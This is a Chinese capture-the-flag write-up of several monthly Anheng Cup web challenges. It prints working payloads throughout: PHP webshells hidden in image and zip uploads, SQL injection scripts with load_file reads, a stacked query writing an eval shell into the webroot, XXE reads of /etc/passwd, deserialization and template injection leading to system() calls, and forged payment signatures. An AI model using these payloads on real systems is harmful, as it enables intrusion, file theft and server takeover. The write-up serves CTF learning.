安恒杯赛Write Up---(十二月赛)

六月赛

WEB

ezupload

这道题可以看出是一道文件上传,有意识的就可以联想到通常做的文件上传题目是不能上传PHP文件的,这道试试


image.png

很明显只能上传图片,那就按正常思路去搞了,
我刚开始将一句话木马php文件后缀改为图片,但是无法上传成功的。
所以猜测这道题是识别图片内容,而不仅仅是改后缀名,只有图片内容是图片才能上传成功。这里随便上传一张图片试试


image.png

这是上传成功的结果,这里我上传的是.jpg图片,成功后却是peg,又上传其他的也是peg。这里对路径很好奇,感觉路径中是一串加密字符串,搞了搞之后没发现什么,看来是多想了,,
image.png

很好奇打开了路径内容发现都是别人上传的文件,过滤的方法也很多种,可以尝试尝试别人的。但这里我已经找到方法了,既然是识别图片内容,将图片后缀改为php也没关系,然后我们将一句话木马放进图片中,然后在过滤掉peg后缀,将后缀名改为.peg.php


image.png
image.png

image.png

抓包可以看到已经上传了含有一句话木马的图片,而且后缀也是php


image.png

上传成功

打开菜刀


image.png

image.png

flag已经出来了。。

研究生的秘密

题目提示缺少参数,由此可以想到参数问题

image.png

点击列表时毫无反应但是可以看到http://101.71.29.5:10002/index.php?title=Mysql教程
于是便可以从参数title入手,当参数为正常的字母数字汉字时,都可以返回正确结果
若输入某个宽字节字符,例如%df

image.png

则会报错
非关系型数据库%df’报错
传入title[
ne]=1相当于传入了db.collections.findOne({"title":{
ne:1}})
也就是返回参数不等于1的第一个文档
其实这里不给参数赋值也能返回flag,,
image.png

MongoDB

mongoDB中findOne()的用法介绍

定义:db.collection.findOne(query, projection)
返回一个文档满足指定的查询条件。如果多个文档满足查询,该方法返回第一个文档根据自然秩序反映了磁盘上文件的顺序。在限制集合,自然秩序是一样的插入顺序。如果没有文档满足查询,方法返回null。

find【查询条件ne】ne表示不相等

mongodb条件操作符,"lt", "lte", "gt", "gte", "$ne"就是全部的比较操作符,对应于"<", "<=", ">", ">=","!="。

mynote

这题我不会,只能根据大佬的去复现
这题注册后发现没有什么用,就一个文件上传值得重视
上传图片后发现仍没什么用,找不到路径


image.png

点空报错后,爆出了路径,仍没什么用处
御剑扫描后台后发现

image.png

robots.txt文件
http://101.71.29.5:10000/robots.txt

image.png

同时
http://101.71.29.5:10000/upload/

image.png

到这里看到了FLAG,flag这么容易出来了吗?


image.png

提交后发现并不对,仔细看flag的意思
这是一个假flag,所以还要继续找
回头看看,


image.png

上传的图片在picture中可以找到,还是从这点入手看看吧
,burp抓包


image.png

picture中应该是base64加密,解码后
YToxOntpOjA7czoxNjoiMzYwd2FsbHBhcGVyLmpwZyI7fQ%3D%3D
解码: a:1:{i:0;s:16:"360wallpaper.jpg";}
Ü

picture中存在反序列化漏洞
已知/flag.php,抓包把a:1:{i:0;s:16:"360wallpaper.jpg";}改成a:1:{i:0;s:14:”../../flag.php”;},然后base64编码就可以读出flag.php

a:1:{i:0;s:14:"../../flag.php";}
base64编码:YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30=
image.png
PD9waHAKCiRmbGFnID0gImZsYWd7TjRtZV9zUGFjNF9Jc19JbnQzcjNzdDFuZ30iOwplY2hvICJmbGFne1RoaXNfMVNfQV9GNGtlX2YxYUd9IjsK
base64解码:
<?php

$flag = "flag{N4me_sPac4_Is_Int3r3st1ng}";
echo "flag{This_1S_A_F4ke_f1aG}";

flag{N4me_sPac4_Is_Int3r3st1ng}

大佬的第二种解法
反序列化传入一个错的序列化字符串报出上传文件的路径,利用文件上传漏洞上传php文件获取webshell,同样获取flag
反序列化传入一个错的序列化字符串报出上传文件的路径
比如:a:1:{i:0;s:16:"360wallpaper.jpg";}这是存在的序列化字符串,现在改为错的
a:1:{i:0;s:5:"1.jpg";},抓包base64编码执行后,不存在该1.jpg图片,所以会报错


图片.png

图片.png

http://101.71.29.5:10000//upload/3dc5ff6b339c9f94c718b97b661c3afe/
接下来上传一句话木马获取webshell
直接上传php文件不行,内容为图片就行,后缀名可以为php,因此需要上传一个包含php一句话木马的图片后缀名改为php就行了

图片.png

然后获取webshell,flag就出来了

九月赛

web

神奇的CMS

这题进去后看到的是一个框架,但需要登录密码进后台
直接用burp弱密码爆破进后台
admin
admin123
进去之后发现两行字体


image.png

一行压缩包,一行提示flag在/tmp下,很明显这是出题人的提示
接着看其他功能,只有一个添加图片的地方


image.png

与上面两行很相似

下载压缩包后,发现是代码,接着就是代码审计
查看图片位置

  public function actionShow(){
        $template = '<h1>图片内容为:</h1>图片ID:{cms:id}<br>图片名称:{cms:name}<br>图片地址:{cms:pic}';
        if (isset($_GET['id'])) {
            $model = new Content();
            $res = $model->find()->where(['id' =>intval($_GET['id'])])->one();
            $template = str_replace("{cms:id}",$res->id,$template);
            $template = str_replace("{cms:name}",$res->name,$template);
            $template = str_replace("{cms:pic}",$res->url,$template);
            $template = $this->parseIf($template);
            echo $template;
        }else{
            return json_encode(['error'=>'id error!']);
        }
    }

跟进函数parseIf

image.png

参考文章

https://www.anquanke.com/post/id/153402
然后我们添加图片为

名字   name (任意)
地址   {if:1)$GLOBALS['_G'.'ET'][sky]($GLOBALS['_G'.'ET'][cool]);die();//}{end if}

还不太明白这个,先留坑


image.png

上传之后显示错误,但是注意到url上id=204,利用上面的代码注入


image.png

ls命令执行后可见上面所有文件,这时想到上面提示的flag 在/tmp/里

http://101.71.29.5:10000/web/index.php?r=content%2Fshow&id=204&sky=system&cool=cat%20/tmp/flag

image.png

babybypass

image.png

这题拿到后见很熟悉就用paylaod直接做,结果做不出来,原来跟之前的不一样,$也被过滤了,使用php不用字母数字下划线写shell的方法不管用了,不过有大佬用其他方法做出来了
巧妙地利用linux下的通配符
参考大佬的极限利用https://www.aqbeta.com/data/201808/153380340813497.html?tdsourcetag=s_pctim_aiomsg
这里也是很有技巧的点,在Linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
linunx下

/???/??? => /bin/cat

问题来了,知道通配符能找到目录,但怎么执行命令取回结果呢?要想得到读文件或者命令执行的内容,我们需要一个用来输出的东西,但是我们又没有常规的函数,经过了一段时间的思考,想到了<?=$_?>,这个方式。
<?= 就相当于php中的echo , 在linux下, 例如echo ls 执行ls命令
大家可能用过这个方法,但是说真的不是很容易想起来,而且关键的是这个方式在php里默认是开着的。

我们找到了这个关键的正则和命令执行方法,我们先来读一下源码

$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

但是发现超出长度了,然后我们继续缩短长度,想到了用*来匹配文件夹下的所有文件:

$_=`/???/???%20/???/???/????/*`;?><?=$_?>

但是没有$和_
?> 是为了闭合前面的code然后去执行后面的php语句
改进为

?><?=`/???/???%20/???/???/????/*`?>

得到源码


image.png

发现关键点

function getFlag(){
    $flag = file_get_contents('/flag');
    echo $flag;
}

我们知道了flag的文件位置在根目录,所以直接利用通配符去读flag文件就好

?><?=`/???/???%20/????`;?>

http://101.71.29.5:10001/?code=?><?=/???/???%20/????;?>

image.png
image.png

十月

这次的web题都真坑,看了大佬的writeup还是不会,无奈看了**的writeup

web1 CoolCms

提示:xxx,你觉得有问题的地方都试试呀
看到题后我以为有xss和sql注入,试了下xss,可以,但没卵用,sql注入倒是有很大用处,后来发现也可以xml注入,进行xxe攻击获取flag

1.

尝试union select注入
发现过滤了, or,unionselect等多个关键词


image.png

构造:

?id=-1' union%0bselect * from (select 1)x join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1)y join (select 3)k join (select 3)l—1
image.png

获取flag目录

2.利用xxe

image.png

简单xml尝试,也是题目提示
然后利用file协议进行xml读取文件

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
image.png

能够读到passwd内容

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/fff123aggg" parse="text"/>
</root>
image.png

web2 easy audit

这题打开不知道干啥的,但是查源代码有提示


image.png

给了个func1参数,试了下func1=1,2,3,,,,


image.png

除了前面数字变之外其他没什么用,然后试了下func1=phpinfo

image.png

结果可以,很明显参数是可以执行函数的
参考文章https://www.jb51.net/article/42890.htm

输入参数 func1=get_defined_functions ,全局搜索一下flag,成功得到了了这个函数jam_source_ctf_flag ,调用一下这个函数,成功拿到flag.php的源码,于是开始审计

<?php
//include 'real_flag.php'; 
function jam_source_ctf_flag(){ echofile_get_contents('flag.php'); }
class jam_flag{ public $a; function __construct(){ $this->a = isset($_GET['a'])?$_GET['a']:'123'; }
 function gen_str($m=6){ $str = ''; $str_list ='abcdefghijklmnopqrstuvwxyz'; for($i=0;$i<$m;$i++){ $str .=$str_list[rand(0,strlen($str_list)-1)]; } return $str; } function GiveYouTheFlag(){include 'real_flag.php'; $secret = $this->gen_str(); if($secret === $this->a){echo $real_flag;//echo $flag } } function __invoke(){ GiveYouTheFlag(); } }echo rand().''; $_flag = new jam_flag;

if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){ include'real_flag.php'; $_flag->GiveYouTheFlag(); }
?>

看到中间有一大段随机数的代码(实际上没什什么用。。),只要我们满足secret===this->a 的条件就可以出flag,但实际上我们可以用get_defined_vars这个函数(因为访问real_flag.php可以看到提示$flag='xxxx',说明可以通过查看所有变量量的方法获取flag),再满足一下post的条件调用giveyoutheflag(为了了将flag给include进来)

最后payload
func1=get_defined_vars post:flag=I want the flag

web3 shop

这题最坑,要大量的代码审计,最后运行的python脚本还必须3.6以上才行,绕了好多弯
给了源码,是用python框架写的
注册账号后


image.png

初识给了300积分
但可以看到flag卖888,不可能买到

代码审计
关键代码

@login_required
def payOrder(request, orderid):
    o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
    form = {
        'order_id': o.id,
        'buyer_id': o.user.id,
        'good_id': o.good.id,
        'buyer_point': o.user.profile.point,
        'good_price': o.good.price,
        'order_create_time': o.create_time.timestamp()
    }
    str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
    #print(str2sign)
    sign = md5(str2sign).hexdigest()
    #print(sign)
    return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})

@login_required
def cleanCanceledOrder(request):
    o = Order.objects.filter(user=request.user, status=Order.CANCELED).delete()
    return redirect('shop:myOrder')

@csrf_exempt
def checkPayment(request):
    # print(request.body)
    ret = {'result': '未知错误', 'status': 'danger'}
    sign = request.GET.get('signature', '')
    if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
        o = get_object_or_404(Order, id=request.POST.get('order_id'))
        g = get_object_or_404(Good, id=request.POST.get('good_id'))
        u = get_object_or_404(User, id=request.POST.get('buyer_id'))
        # 检查订单是否为待支付状态
        if o.status != Order.ONGOING:
            ret['result'] = f'订单 {o.id} 状态异常,可能已完成或已取消'
        # 检查商品是否可购买
        elif g.available != True or g.amount <= 0:
            ret['result'] = f'商品 {g.id} 暂时不可购买,可能库存不足'
        # 检查用户可用积分是否足够
        elif u.profile.point < g.price:
            ret['result'] = f'用户 {u.username} 可用积分不足,无法完成支付'
        else:
            if u.is_staff != True:
                u.profile.point -= g.price
                u.save()
            g.amount -= 1
            if g.name == 'FLAG':
                o.message = REAL_FLAG
            else:
                o.message = f'fake_flag{{{md5(urandom(32)).hexdigest()}}}<br>(购买“FLAG”才能获得真正的 flag)'
            if g.amount <= randint(0, 100):
                g.amount += randint(100, 200)
            g.save()
            o.status = Order.FINISHED
            o.save()
            ret['result'] = f'订单 {o.id} 支付成功!'
            ret['status'] = 'success'
    else:
        ret['result'] = '签名不正确,数据可能被篡改!'
    return render(request, 'payment/result.html', ret)
image.png

购买的信息都是有上面那些id参数传进去的
通过抓包查看这些参数


image.png

可以看到这些参数就是上面购买的信息id
查看源码的数据库信息,可以看到管理员admin 的积分有3000,而普通用户只有300,直接登管理员进后台很明显不可取,根据源码我们可以利用这种逻辑漏洞修改为管理员id让管理员帮我们买,通过表可以查出管理员id为16

直接修改buyer_id=16是不行的,


image.png

这就是返回的数据,因为他会对sign的MD5值进行校检,不对是不会成功的

image.png
sign = request.GET.get('signature', '')
    if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
@login_required
def payOrder(request, orderid):
    o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
    form = {
        'order_id': o.id,
        'buyer_id': o.user.id,
        'good_id': o.good.id,
        'buyer_point': o.user.profile.point,
        'good_price': o.good.price,
        'order_create_time': o.create_time.timestamp()
    }
    str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
    #print(str2sign)
    sign = md5(str2sign).hexdigest()
    #print(sign)
    return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})


from django.urls import reverse_lazy

LOGIN_REDIRECT_URL = reverse_lazy('shop:index')

LOGIN_URL = reverse_lazy('account:login')

with open('secret.key', 'rb') as f:
    RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = f.read()

REAL_FLAG = ''


获取sign的关键代码,上面已经贴出
这里的RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE其实是读取了sercet.key文件,查看文件


image.png

所以key是已知的

根据这些来编写脚本得出admin的sign值

from hashlib import md5

RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = open('e://secret.key','rb').read()
print(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE)
form = {
        'order_id': '144' ,
        'buyer_id': '16' ,
        'good_id': '38' ,
        'buyer_point': '300' ,
        'good_price': '888' ,
        'order_create_time': '1541695334.352802' 
    }   
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')         

sign = md5(str2sign).hexdigest()
print(sign)
image.png

根据购买信息修改id,把buyer_id改为管理员的--16

获得sign值


image.png

然后抓包修改sign,用admin去购买


image.png

然后会发现


image.png
image.png

web4 手速要快

进去之后
是文件上传
但是不能上传php文件,但上传1.abc,1.cbc这种文件都可以,可知是利用黑名单将后缀为php,PHP等文件后缀给过滤掉了
因此将附带一句话木马的文件改为以.php.xxx的形式,发现可以成功上传,因为apache的判定机制为从右到左,若该文件后缀无效会想左判定
,,成功绕过

image.png
image.png

爆出文件路径,菜刀获取shell

image.png

十一月

Web

1.手速要快

不说了,十月份的原题,就在上面

2.image_up

题目打开是个登录页面,注意
http://101.71.29.5:10043/index.php?page=login
所以尝试php伪协议读取文件
http://101.71.29.5:10043/index.php?page=php://filter/read=convert.base64-encode/resource=login

image.png

base64解密

<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Login Form</title>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>

      <link rel="stylesheet" href="css/style.css">

</head>
<body>

<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
    header("Location: index.php?page=upload");
    exit();
  }
?>

<div class="form">
  <div class="thumbnail"><img src="hat.svg"/></div>
  <form class="login-form" action="" method="post">
    <input type="text" name="username" placeholder="username"/>
    <input type="password" name="password" placeholder="password"/>
    <button type="submit">login</button>
  </form>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

<script  src="js/index.js"></script>

</body>

</html>

得login源码,看关键点,如果账号密码只要存在就会跳转到upload页面,说明随意输都行了

进去之后是文件上传页面,继续读文件源码
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload

<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Upload Form</title>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>

      <link rel="stylesheet" href="css/style.css">

</head>
<body>


<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "上传成功!";
            }
        else{
            $error = "上传失败!;
        }

        }else{
          $error = "文件过大,上传失败!";
        }
    }

?>

<div class="form">
  <div class="thumbnail"><img src="hat.svg"/></div>
  <form class="login-form" action="" method="post" enctype="multipart/form-data">
    <input type="file" name="image" placeholder="image"/>
    <button type="submit">login</button>
  </form>
  <?php echo $error;?>

</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

<script  src="js/index.js"></script>
</body>
</html>


看到php源码后,第一想的就是上传带有一句话木马的图片
但碰到的问题就是

$path = "uploads/".md5($temp[0].time()).".".$extension;

需要提前预测time()
看了大佬的wp,发现多线程爆破没有用,不是简单地time预测
提示:在这时间统一的世界里,上传图片试试吧
时区问题?尝试time()+8*3600
随机可以预测到图片,但保存图片发现并没有成功,猜想是否强行拼接了.php,于是读index

<?php
  if(isset($_GET['page'])){
    if(!stristr($_GET['page'],"..")){
      $page = $_GET['page'].".php";
      include($page);
    }else{
      header("Location: index.php?page=login");
    }
  }else{
    header("Location: index.php?page=login");
  }

发现强行拼接了.php,
大佬的想法
zip://
直接zip协议即可

创建一个MUMA.php的文件,内容为

<?php
@eval($_POST[MUMA]);

然后压缩为MUMA.zip,改后缀名为MUMA.jpg

然后用脚本上传文件,预测出文件名

import time
import requests
import hashlib

url="http://101.71.29.5:10007/"
def md5(st):
    m =hashlib.md5()
    m.update(st.encode('utf-8'))
    return m.hexdigest()
files = {
    "image":("avatar.jpg",open("MUMA.jpg","rb"))
}
t = int(time.time()+8*3600)
requests.post(url=url+"index.php?page=upload", files=files)
for i in range(t-200,t+200):
    path = "uploads/"+md5("avatar"+str(i))+".jpg"
    status = requests.get(url=url+path).status_code
    if status == 200:
        print (path)
        break

uploads/893171c6e8f72075f9889550b987db87.jpg
爆出文件名后,去测试一下,利用zip://协议读取一下phpinfo


发现读取成功

菜刀getshell


image.png

3.ezsql

根据题目提示可知是一道sql注入题


image.png

注册后登陆进去可看到信息,根据以往判断应该可以对id进行注入然后回显内容
不过这题在尝试之后发现过滤了很多敏感词
最后发现load_file可以在这用,就可以用它来读取文件内容了
可以尝试利用load_file读取/var/www/html/index.php
因为/被过滤了所以利用十六进制编码绕过


image.png

然后会发现这句话已经成功传进去了,只不过返回值是0,所以会看到id=1的admin信息,如果读取内容的话读取到的第一个字符应该是<,所以为3c,然后后面加通配符%去依次读取后面内容

image.png

可以看到只有标签,没有内容,应该是已经读取到代码所以无回显内容,写脚本依次读取代码
福脚本:

import requests
import string
import binascii

hex = lambda s: binascii.hexlify(s)
char = '0123456789ABCDEF'
filename = '/var/www/html/index.php'
c= ''
#print(hex(filename))
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s))like(0x%s),1,2)'

for _ in xrange(10000):
    for i in char:
        payload = c+ i + '%'
        _url = url % (hex(filename), hex(payload))
        r=requests.get(_url,cookies={'PHPSESSID':'3689a2913550ce0558362e9eb6541734'})
        if '2018' in r.content:
            print '.....' + payload
            c = c+ i
            break
            print c
            
image.png

16进制转码后,截取部分内容,看PHP代码会发现有config.php

<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
    $config = $_COOKIE['CONFIG'];
    require_once('config/config.php');
}
?>
    <html>
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/css/bootstrap.min.css">
    <style>
    .jumbotron{
    background:url(favicon/a.png);
    }
    </style>
    </head>
    <body>

根据php代码继续读config.php文件看看有什么
然后用上面脚本读取/var/www/html/config.php

<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}
class Config{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['config'])?$_POST['config']:"";
        }
    }
    public function SetFilter($value){
//        echo $value;
    $value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }
}

发现是一波反序列化的操作,注意到函数

   public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }

以及

if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}

发现可控值,跟踪SetFilter

发现

    $value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

大概是这么个意思吧
index.php -->cookie[CONFIG] -->config.php-->unserialize(base64_decode($config));
然后如果存在这个(class config)类,则会接受参数p
利用上面反序列化漏洞,于是构造


<?php
class Config
{
    public $filter='';
    function __construct()
    {
        // $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$m = new Config();
$m->filter = array('system');
echo base64_encode(serialize($m));

?>

然后在cookie中添加

CONFIG:Tzo2OiJDb25maWciOjE6e3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
image.png

可以看到目录名已经显示出来了,要列出目录下所有文件才能读到flag,然后/和空格被过滤,这里使用$IFS进行绕过空格


image.png

看到flag.php,读取内容,这里通配符也被过滤,试了官方的没弄出来,用一位师傅的grep做出来了


image.png

4.interesting web

打开是一个上传的界面,界面显示只有admin可以上传压缩包,普通用户只能上传jpg图片,从这可以看出这题并不是考上传jpg绕过然后getshell,应该是先拿到管理员权限,再看一下会有找回密码功能,而找回密码需要token值,我们试一下找回密码


image.png

在响应头会发现seesion值,

eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJNR1F6TldJek5qTTNNV1V5WkdFelpUaGpaalJtWTJWaFlUSmlZemMyWTJZPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DuDkbQ.iWgcB_Axe1CwTfadaH5e25rBNr8

前面第一串是base64
解密后

{"login":true,"token":{" b":"MGQzNWIzNjM3MWUyZGEzZThjZjRmY2VhYTJiYzc2Y2Y="},"username":"admin"}

会发现token值,然后解密token值,就可以利用token修改管理员密码了,至于为什么会发这发现token,熟悉flask框架的人应该知道python flask框架中的token会显示在浏览器端,所以可以利用这一点修改admin密码,获得管理员权限

然后这时我们可以上传tar包,为什么要获得权限上传tar包呢,因为这里可以利用软连接,构造

ln -s /etc/passwd 223.jpg
tar cvfp 1.tar 223.jpg
image.png

上传解压成功

然后

curl 101.71.29.5:10010/download/223.jpg
image.png

5.write a shell

这题打开也是一个测试平台,有注册登录编辑头像功能,首先注册测试了一下是否存在注入


image.png

发现'被转义,字符也有替换,应该是有注入的机会

image.png

在用户信息页面存在注入,经测试发现把一些关键字符替换成@了,但ascii mid load_file if这些可以用


image.png

可以看到判断语句已经传进去了,返回值为1,接下来可以利用这个方法去读取源代码
利用load_file读取/var/www/html/user/user.php
十六进制编码绕过,看看能不能读到

?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),1,1))

先了解一下mid函数,MID() 函数用于从文本字段中提取字符。
有三个参数:
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本
所以上面代码就是利用load_file去读取内容,然后从第一个字符读取,成功后返回一个ascii值。
试一下,


image.png

可以看到id返回60,然后我们去读第二个字符


image.png

返回63,第三个返回112。然后ascii对应的字符是


image.png

说明已经读到php代码了,一一读很麻烦,所以上脚本读取
自己写的脚本,菜鸟,勿喷,,

import requests
from bs4 import BeautifulSoup
import re

for i in range(1,1000):
    try:
        url = 'http://101.71.29.5:10011/user/user.php?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),'+str(i)+',1))'
        r = requests.Session()
        q = r.get(url=url,cookies={ 'PHPSESSID':'l7b9sqs506vjqkioep3qu1rgt0'})
        html = q.text
        html1 = BeautifulSoup(html,'html.parser')
#print (q.text)
        html2 =html1.find_all('h1')
        num = re.sub(r'user_id:', "", html2[0].text)
        num1 = int(num)
        print (chr(num1),end='')
    except:
        continue

跑出来user.php

<?php
include_once('../bwvs_config/sys_config.php');

if (isset($_SESSION['user_name'])) {
    include_once('../header.php');
    if (!isset($SESSION['user_id'])) {
        $sql = "SELECT * FROM dwvs_user_message WHERE user_name ="."'{$_SESSION['user_name']}'";
        $data = mysqli_query($connect,$sql) or die('Mysql Error!!');
        $result = mysqli_fetch_array($data);
        $_SESSION['user_id'] = $result['user_id'];
    }

    $html_avatar = htmlspecialchars($_SESSION['user_favicon']);
    
    
    if(isset($_GET['id'])){
        $id=waf($_GET['id']);
        $sql = "SELECT * FROM dwvs_user_message WHERE user_id =".$id;
        $data = mysqli_multi_query($connect,$sql) or die();
        do{
            if($result = mysqli_store_result($connect)){
                $row = mysqli_fetch_row($result);
                echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>¨�����".$row[4]."</h3>";
            }
            mysqli_free_result($result);
        }while(mysqli_next_result($connect));
        die();
    }
    mysqli_close($connect);
?>
<div class="row">
    <div style="float:left;"

读出源代码后发现没有什么可注入的点,注意到在传入id的时候,要进行waf的转化,像一些敏感字符可能被转为@,后来经测试发现可以读取用户权限
查看用户权限sql语句:

select GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE from information_schema.USER_PRIVILEGES

然后经msql char()

CHAR(115, 101, 108, 101, 99, 116, 32, 71, 82, 65, 78, 84, 69, 69, 44, 80, 82, 73, 86, 73, 76, 69, 71, 69, 95, 84, 89, 80, 69, 44, 51, 44, 52, 44, 73, 83, 95, 71, 82, 65, 78, 84, 65, 66, 76, 69, 32, 102, 114, 111, 109, 32, 105, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 95, 115, 99, 104, 101, 109, 97, 46, 85, 83, 69, 82, 95, 80, 82, 73, 86, 73, 76, 69, 71, 69, 83)

Paylpoad:

id= 8;set |s=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 71, 82, 65, 78, 84, 69, 69, 44, 80, 82, 73, 86, 73, 76, 69, 71, 69, 95, 84, 89, 80, 69, 44, 51, 44, 52, 44, 73, 83, 95, 71, 82, 65, 78, 84, 65, 66, 76, 69, 32, 102, 114, 111, 109, 32, 105, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 95, 115, 99, 104, 101, 109, 97, 46, 85, 83, 69, 82, 95, 80, 82, 73, 86, 73, 76, 69, 71, 69, 83));PREPARE s1 FROM |s;EXECUTE s1;
image.png

可看到该用户存在读写权限
查看文件读写路径
sql语句

show variables like  '%secure_file_priv%'

Payload:

id=8;set |s=concat(CHAR(115, 104, 111, 119, 32, 118, 97, 114, 105, 97, 98, 108, 101, 115, 32, 108, 105, 107, 101, 32, 32, 39, 37, 115, 101, 99, 117, 114, 101, 95, 102, 105, 108, 101, 95, 112, 114, 105, 118, 37, 39));PREPARE s1 FROM |s;EXECUTE s1;
image.png

然后重点是,我们找一个可写的目录,然后写一个一句话shell上传,然后菜刀进后台
查看框架,我们看到的功能还有一个就是上传头像,而上传头像的目录我们又知道,/favicon/*.jpg,所以路径就是/var/www/html/favicon/,然后传进去带有一句话的1.php,
sql语句:

select '<?php eval($_POST[x]);?>' into outfile '/var/www/html/favicon/1.php'

payload:

id=8;set |s=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 120, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 49, 49, 46, 112, 104, 112, 39));PREPARE s1 FROM |s;EXECUTE s1;

然后查看http://101.71.29.5:10011/favicon/1.php
传进去后,上菜刀连接后台

6.好黑的黑名单

打开浏览器,访问目标主机。如下图


image.png

根据提示可知,题目有黑名单,发现吃面去吧是一个链接,点击如下图
http://101.71.29.5:10008/show.php?id=1

image.png

可以看到传参的地方。初步测试可知页面一共有三种回显结果
1.山西油泼面的价钱为20 或郑州或,,
2.想让我下面给你吃?
3.这么坏?想让我下面给你吃吗?XD

分析
回显1为正常页面,
回显2为根据传入的id查询结果为空的回显,
回显3则是被黑名单检测到的回显。

测试什么类型的注入
初步测试可知空格,单引号,双引号都被过滤。空格可以使用%0a代替。测试%0aand%0a1,然后测试%0aand%0a0 1返回正确结果,0返回空
得出初步结论此处存在整型注入。

构造payload
